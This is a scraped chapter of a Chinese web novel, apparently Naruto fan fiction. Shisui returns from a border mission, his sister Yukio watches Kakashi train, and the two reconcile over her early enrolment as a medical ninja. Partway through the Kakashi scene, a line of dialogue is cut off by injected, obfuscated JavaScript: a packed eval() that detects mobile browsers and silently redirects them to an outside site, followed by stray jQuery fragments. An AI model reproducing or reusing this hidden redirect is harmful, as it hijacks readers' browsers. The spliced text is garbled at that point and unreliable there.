默认冷灰
24号文字
方正启体

17. 出差over

作者:桃桃林本书字数:K更新时间:
    边境的风,永远不停。


    止水已经习惯了这种日子。白天潜伏,夜晚行动,睡觉的时候耳边全是风声和沙粒打在帐篷上的声音。


    他来边境三十七天了。三十七次日出,三十七次日落。


    十七次任务,每一次都离死亡近一点。


    但他还活着。不仅活着,还活得很好。至少在队长眼里是这样。


    “你小子,”队长坐在篝火边,看着正在擦苦无的止水,“是不是不知道什么叫害怕?”


    止水抬起头,那双黑眼睛在火光里显得很平静。


    “知道。”


    “知道?”队长挑眉,“那你每次任务都往最危险的地方冲?”


    “不是冲,”止水继续擦苦无,“是想好了再动。”


    队长愣了一下,然后笑了。那道疤在火光里显得有点狰狞,但他的笑却是真的。


    “行,”他说,“你厉害。”


    止水没说话。他擦完苦无,收起来,看着远处的黑暗。


    边境的夜,黑得像墨一样。没有月亮的时候,伸手不见五指。但止水能看见。不是用眼睛。是用感觉。


    三十七天,他学会了用皮肤感受风的方向,用耳朵分辨沙粒滚落的声音,用直觉判断危险来自哪里。


    这是书本上学不到的东西。这是用命换来的经验。


    “止水。”队长忽然开口。


    “嗯?”


    “明天有个任务。”队长的声音有点沉,“最后一个。”


    止水转头看他。


    “完成这个,你就可以回去了。”队长说,“上面调了新人过来,你该回木叶了。”


    止水愣住了。


    回木叶。回家。


    雪绪。


    “真的?”他问。


    队长点点头,扔给他一个卷轴。


    “明天一早出发,侦察东南方向的峡谷。如果没问题,你就可以收拾东西走人了。”


    止水接过卷轴,打开,借着火光看了一遍。


    峡谷,距离这里三十里,据说有敌军活动的痕迹。


    侦察,确认,返回。


    如果顺利,一天就能完成。


    “明白了。”他说。


    队长看着他,沉默了一会儿。


    “回去以后,”他忽然说,“好好陪陪你妹妹。”


    止水的手顿了顿。


    “你怎么知道——”


    “你睡着的时候说过梦话。”队长笑了,“‘雪绪别跑’什么的。”


    止水沉默了一秒。


    “……对不起。”


    “道什么歉?”队长摆摆手,“有家人惦记,是好事。”


    止水没说话。但他心里,有什么东西在轻轻动。


    三十七天了。


    雪绪还好吗?有没有好好吃饭?青丸和青太还活着吗?隔壁婆婆有没有去看她?


    他想起走的那天早上,雪绪闭着眼睛装睡的样子。他知道她在装睡。他揉她头发的时候,她的睫毛在轻轻颤。


    “等我回来。”


    他说了。所以她会等的。


    止水把卷轴收好,躺下来,看着头顶的帐篷。


    风在外面呼啸。但他心里,有一个小小的声音在说:快了。很快就能回去了。


    第二天一早,天还没亮,止水就出发了。峡谷在东南方向,要穿过一片戈壁,翻过两座山。


    他走得很快。不是赶时间,是想早点做完,早点回去。


    太阳升起来的时候,他到了第一座山的山脚。


    停下来,喝水,观察周围。没有人,继续走。


    翻过第一座山的时候,太阳已经升得很高了。他找了个隐蔽的地方,休息了一刻钟,然后继续走。


    下午的时候,他到了峡谷附近。放慢速度,隐藏气息,一点一点靠近。趴在岩石后面,仔细观察。


    峡谷里有人。十几个,穿着风之国的衣服,正在扎营。


    不是普通人,看他们的装备和动作,应该是忍者。


    止水仔细数了数,记下他们的位置和动向。


    然后,他开始往回撤。


    就在这时——


    风变了。


    止水停下脚步。不对。有什么东西不对。


    他慢慢蹲下,把自己藏在一块石头后面。


    屏住呼吸。


    等了十秒。


    二十秒。


    三十秒。


    什么都没有。但他没有动。


    又等了十秒。


    终于,有动静了。两个人影从不远处的岩石后面走出来,四处张望。


    “没人?”


    “刚才明明有感觉的。”


    “可能是野兽。”


    “野兽个屁,这地方连虫子都没有。”


    两人嘟囔了几句,又走回去了。


    止水等了一刻钟,确认他们真的走了,才慢慢退出去。


    往回走的路上,他一直在想:那两个是巡逻的。如果刚才没发现,他已经被包围了。


    三十七天,他学会了相信直觉。直觉告诉他,这个峡谷不简单。他加快脚步,往营地赶。


    太阳落山的时候,他终于回到营地。


    队长正在等他。


    “怎么样?”


    止水把观察到的情况说了一遍,队长的表情越来越凝重。


    “十几个……忍者……”他喃喃自语,“加上之前的情报,那边是真的要动手了。”


    止水站在旁边,等着。队长沉默了一会儿,然后看向他。


    “你做得很好。”他说,“情报很有价值。”


    止水点点头。


    “明天,”队长说,“你就可以走了。”


    止水愣了一下。


    “现在就走?”他问,“不需要帮忙吗?”


    队长笑了。


    “你已经帮了很多了。”他说,“剩下的,是我们的事了。”


    止水看着他,不知道该说什么。队长拍拍他的肩。


    “回去以后,好好休息。”他说,“有机会再见。”


    止水点点头。


    那天晚上,他收拾好东西,躺在帐篷里,听着外面的风声。


    明天。明天就可以回去了。


    三十八天了。雪绪等了他三十八天。


    他闭上眼睛。


    ---


    木叶。


    这段时间里,太阳刚升起来的时候,雪绪已经醒了。不是自然醒,是兴奋醒的。


    她对着水缸里的青丸青太宣布:“再过几天我就是忍者学校的学生了!”


    青丸眨眨眼。青太打了个哈欠。


    雪绪不在意,继续宣布她的计划:


    “今天我要去演习场练习扔石头!然后去找带土哥!然后去找鼬君!然后——”


    她想了想,忽然有点失落。


    “然后哥哥还是没回来。”


    青蛙们看着她,没什么反应。雪绪蹲下来,戳了戳水面。


    “你说他什么时候回来?”


    青丸“咕”了一声。


    “明天?真的?”


    青丸又“咕”了一声。


    雪绪点点头,站起来。


    “好,那就明天。”


    她给自己做了早饭:饭团和玉子烧,还是脆皮的那种。


    吃完后,换了衣服,扎紧丸子头,准备出门。


    刚打开院门,就看见带土站在外面,手举在半空,正要敲门。


    “带土哥!”


    “雪绪!”带土也吓了一跳,“你吓我一跳!”


    “你才吓我一跳!”雪绪反驳,“你来干什么?”


    带土挠挠头:“你不是快进忍校了吗?我想带你去演习场,好好练练。”


    雪绪眼睛一亮:“好!”


    两人往演习场走。


    路上,雪绪忽然问:“带土哥,你说哥哥今天会回来吗?”


    带土的脚步顿了顿。


    “不知道。”他诚实地说,“但应该快了。”


    雪绪点点头,没再问。


    七号演习场还是老样子——草地、小溪、树林、靶位。


    但今天有点不一样。靶位前面,站着一个人。


    白色头发。黑色面罩。死鱼眼。


    雪绪的脚步停住了。


    “卡卡西——!”她大喊一声,飞奔过去。


    带土在后面看着,忍不住翻了个白眼。


    这眼睛也太尖了。


    卡卡西听见喊声,回头看了一眼。然后他就看见一个小小的身影朝他冲过来,两个丸子头一颤一颤的,脸上笑成一朵花。


    “是你啊。”他说。


    “是我!”雪绪跑到他面前,仰起头,“你还记得我?”


    卡卡西沉默了一秒。


    “……记得。”


    “真的?”


    “嗯。”


    雪绪更高兴了,围着他转了一圈。


    “你今天怎么在这?”


    “练习。”


    “练习什么?”


    “手里剑。”


    “好厉害!”雪绪眼睛亮晶晶的,“我能看吗?”


    卡卡西看着她,那双眼睛里看不出什么情绪。但最后,他点了点头。


    “随便。”


    雪绪立刻在旁边的草地上坐下来,双手托腮,准备观看。带土走过来,在她旁边坐下。


    “你就不练了?”


    “先看!”雪绪理直气壮,“学习!”


    带土沉默了。


    卡卡西开始练习。他站在投掷线前,拿起一枚苦无,瞄准,投出——


    正中红心。


    又拿起一枚——


    正中红心。


    再一枚——


    还是正中红心。


    雪绪的眼睛越瞪越大。


    “好厉害……”她喃喃自语,“好厉害好厉害好厉害……”


    带土在旁边撇嘴:“我也能中。”


    “你能中几次?”


    “呃……十次里有个五六次吧。”


    雪绪看他一眼,那眼神写满了“你还好意思说”。


    带土闭嘴了。


    卡卡西练了一刻钟,每一枚都正中红心。


    等他停下来休息的时候,她立刻跑过去,递上自己的水壶。


    “喝水!”


    卡卡西看着那个水壶,粉色的,上面画着一只青蛙。


    “……不用。”


    “为什么?”


    “不渴。”


    雪绪有点失望,但很快又打起精神。


    “那你教我扔苦无好不好?”


    卡卡西看着她。


    五岁的小女孩,仰着头,眼睛里全是期待。


    “太早。”他说。


    “不早!”雪绪立刻反驳,“我再过几天就可以上学了!”


    卡卡西愣了一下。


    “上学?”


    “对!忍者学校!”雪绪挺起小胸脯,“我考上了!”


    卡卡西沉默了一会儿,然后他问:“几岁?”


    “五岁。”


    “五岁上忍校?”


    “对!提前入学!”


    卡卡西看着她,眼里似乎闪过一丝什么,但只是一瞬间。


    “……还行。”他说。


    雪绪眨眨眼:“还行是什么意思?”


    “就是还可以。”


    雪绪想了想,觉得“还可以”应该算是夸奖,她更高兴了。


    “那你能教我了吗?”


    卡卡西想了想,从地上捡起一枚小石头,递给她。


    “先扔这个。”


    雪绪接过石头,认真地摆好姿势,用力一扔——


    石头飞出去,落在五米外的地方。


    卡卡西看着那个落点,点点头。


    “……要练。”


    雪绪点点头,捡起石头,扔了一次又一次。


    太阳慢慢升高。带土在旁边看着,忽然有点感慨。


    雪绪是真的喜欢卡卡西啊。喜欢到连她最爱的抓鱼都忘了。


    下午的时候,雪绪终于练累了,坐在草地上休息。


    卡卡西也停下来,在她旁边坐下。两人沉默了一会儿。


    雪绪忽然问:“卡卡西,你为什么戴面罩?”


    卡卡西没说话。


    “是因为脸上有伤吗?”


    “不是。”


    “那是因为什么?”


    “习惯了。”


    雪绪想了想,又问:“那你吃饭的时候摘吗?”


    卡卡西沉默了一秒。


    “摘。”


    “那睡觉的时候呢?”


    “摘。”


    “那洗澡的时候呢?”


    “摘。”


    雪绪点点头,若有所思,然后她忽然说:“那我以后要是见到你吃饭睡觉洗澡,就能看见你的脸了?”


    卡卡西的动作僵了一下。旁边的带土忍不住笑出声。


    “雪绪,”他插嘴,“你别老惦记人家的脸。”


    “为什么?”雪绪理直气壮,“他那么帅,我想看看面罩下面什么样!”


    带土看向卡卡西,想看看他的反应。


    卡卡西的表情,如果那双死鱼眼能叫表情的话——没什么变化。


    但不知道为什么,带土觉得他好像在尴尬。


    “那个……”他打圆场,“小孩子不懂事,别介意。”


    卡卡西没说话。他只是站起来,拍了拍身上的草屑。


    “走了。”


    雪绪立刻跳起来:“这么快?”


    “嗯。”


    “明天还来吗?”


    卡卡西的脚步顿了顿。


    “……不知道。”


    雪绪有点失望,但还是挥挥手。


    “那下次见!”


    卡卡西没回头,只是摆了摆手,然后他的身影消失在树林里。


    雪绪站在原地,看着那个方向。


    “带土哥。”


    “嗯?”


    “他真的好帅。”


    带土翻了个白眼。


    “你才五岁,懂什么叫帅?”


    “懂!”雪绪认真地说,“帅就是—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297045|198580||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —就是看了还想看!”


    带土觉得这个定义,好像也没什么问题。


    ---


    三天后。雪绪入学的前一天。


    她正在院子里收拾东西:明天要用的文具、饭盒、还有她特意准备的小本本。


    忽然,院门被推开了。她抬头一看,愣住了。


    门口站着一个人。小小的个子,深蓝色的衣服,黑头发,黑眼睛。


    瘦了。黑了。高了。但那双眼睛,还是那么亮。


    “哥——!”


    雪绪扔下手里的东西,飞奔过去。止水蹲下来,张开手臂。


    她扑进他怀里,紧紧抱住:“哥!哥!哥!你回来了!你真的回来了!”


    止水抱着她,没有说话。他只是把脸埋在她小小的肩膀上,闭上眼睛。


    三十八天。终于回来了。


    “哥,”雪绪抬起头,眼眶红红的,“你瘦了。”


    “嗯。”


    “你黑了。”


    “嗯。”


    “你是不是没好好吃饭?”


    止水愣了一下,然后笑了。


    “吃了。”


    “骗人!”雪绪戳戳他的脸,“都没肉了!”


    止水没反驳。他只是看着她,看了很久。雪绪被他看得有点不好意思。


    “哥,你看什么?”


    止水沉默了一秒,然后问:


    “雪绪,你是不是有事瞒着我?”


    雪绪愣住了。


    “什……什么事?”


    止水的眼神变得认真起来。


    “忍校。”他说,“提前入学。”


    雪绪的心跳漏了一拍。


    “你……你怎么知道?”


    “带土说的。”止水的声音很平静,“我回来的路上遇到他,他恭喜我,说你考上了忍校。”


    雪绪张了张嘴,不知道该说什么。


    “他还说,”止水继续,“你考的是医疗忍术方向。”


    雪绪点点头。


    “医疗忍术。”止水重复了一遍,“最稀缺的,最容易成为靶子的医疗忍术。”


    雪绪终于感觉到不对了,哥哥的声音还是那么平静。


    但他的眼睛——那双眼睛里的光,好像变了。


    “哥……”她小声叫。


    止水看着她,沉默了很久,然后他开口,声音很轻:


    “雪绪,你为什么不和我商量?”


    雪绪愣住了。


    “我……我想等你回来告诉你……”


    “等我回来?”止水打断她,“还是等我回来已经定了,我没办法反对?”


    雪绪的脸白了。她从没见过哥哥这样说话,从来没见过。


    “哥,我……”


    “你知道医疗忍者在战场上是什么吗?”止水的声音还是那么平静,但每一个字都像石头一样砸下来,“是第一个被盯上的目标。是敌人最想先除掉的人。是站在最危险的地方,救别人,自己却随时会死的人。”


    雪绪的眼眶红了。


    “我知道……”


    “你知道?”止水看着她,“你五岁,你知道什么?”


    雪绪没有说话。她只是站在那里,眼泪一颗一颗往下掉。


    止水看着她哭,心里像被什么东西揪着,但他没有停下来。


    “雪绪,”他说,“你知道我这三十八天是怎么过的吗?”


    雪绪摇摇头。


    “每一天,”止水的声音终于有了一丝波动,“每一刻,我都在想:雪绪在干什么?有没有好好吃饭?有没有生病?有没有想我?”


    他顿了顿。


    “我害怕。”


    雪绪愣住了。


    “我怕我回不来。”止水说,“怕你一个人在家,没人照顾。怕你等我,等不到。”


    他看着她,眼眶也有点红了。


    “所以我拼命完成任务,拼命活着,就为了早点回来。”


    “结果呢?”


    “结果一回来,就听说你要去当忍者了。”


    “当最危险的医疗忍者。”


    “当战场上第一个死的那种忍者。”


    雪绪的眼泪止不住了。


    “哥……我……”


    “雪绪,”止水蹲下来,和她平视,“我只有你一个亲人了。”


    他的声音很轻,轻得像风。


    “如果你出了什么事,我怎么办?”


    雪绪看着他,看着哥哥红红的眼眶,看着他紧紧攥着的手。


    看着他——害怕的样子。


    原来哥哥也会害怕。原来哥哥不是什么都不怕。


    “哥,”她忽然扑过去,抱住他的脖子,“对不起。”


    止水没有说话。


    “对不起,”她把脸埋在他肩膀上,“我不该不和你商量。我……我就是太高兴了,想告诉你,但你不在……我就想,等你回来,告诉你这个好消息……”


    她哭得上气不接下气。


    “我想当忍者……是因为想保护你……医疗忍者可以救人……可以救你……我不想你受伤……不想你死……”


    止水愣住了。


    “我想变得厉害,”雪绪继续哭,“像你一样厉害……不对,比你更厉害……这样就能保护你了……”


    她抬起头,满脸都是泪。


    “哥,我错了,你别生气……”


    止水看着她。


    看着这个小小的、哭成泪人的妹妹。


    三十八天里,她一个人在家的时候,没有哭。遇到危险的时候,没有哭。考忍校的时候,没有哭。


    现在,因为他一句话,哭了。因为他害怕了,所以她哭了。


    他忽然觉得自己很傻。傻透了。


    “雪绪。”他开口。


    “嗯?”她抽抽搭搭地应。


    “对不起。”


    雪绪愣住了。


    “哥?”


    “是我不对。”止水伸手,擦掉她脸上的泪,“我不该那么凶。”


    雪绪眨眨眼,眼泪还在往下掉。


    “但你要答应我一件事。”


    “什么事?”


    止水看着她,认真地说:


    “要活着。”


    雪绪愣住了。


    “不管遇到什么事,”止水说,“都要活着。好好活着。”


    他看着她的眼睛,一字一句:


    “因为我会一直等你回来。”


    雪绪的眼泪又涌出来了。


    但这次,她笑了。


    “好。”她说,“我答应你。”


    止水伸手,把她抱进怀里。


    “还有,”他的声音从她头顶传来,“以后有事要和我商量。”


    “好。”


    “不许一个人做决定。”


    “好。”


    “不许瞒着我。”


    “好。”


    “不许——”


    “哥,”雪绪打断他,“你再说不许,太阳就下山了。”


    止水愣了一下。


    三十八天,她一点没变。


    真好。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)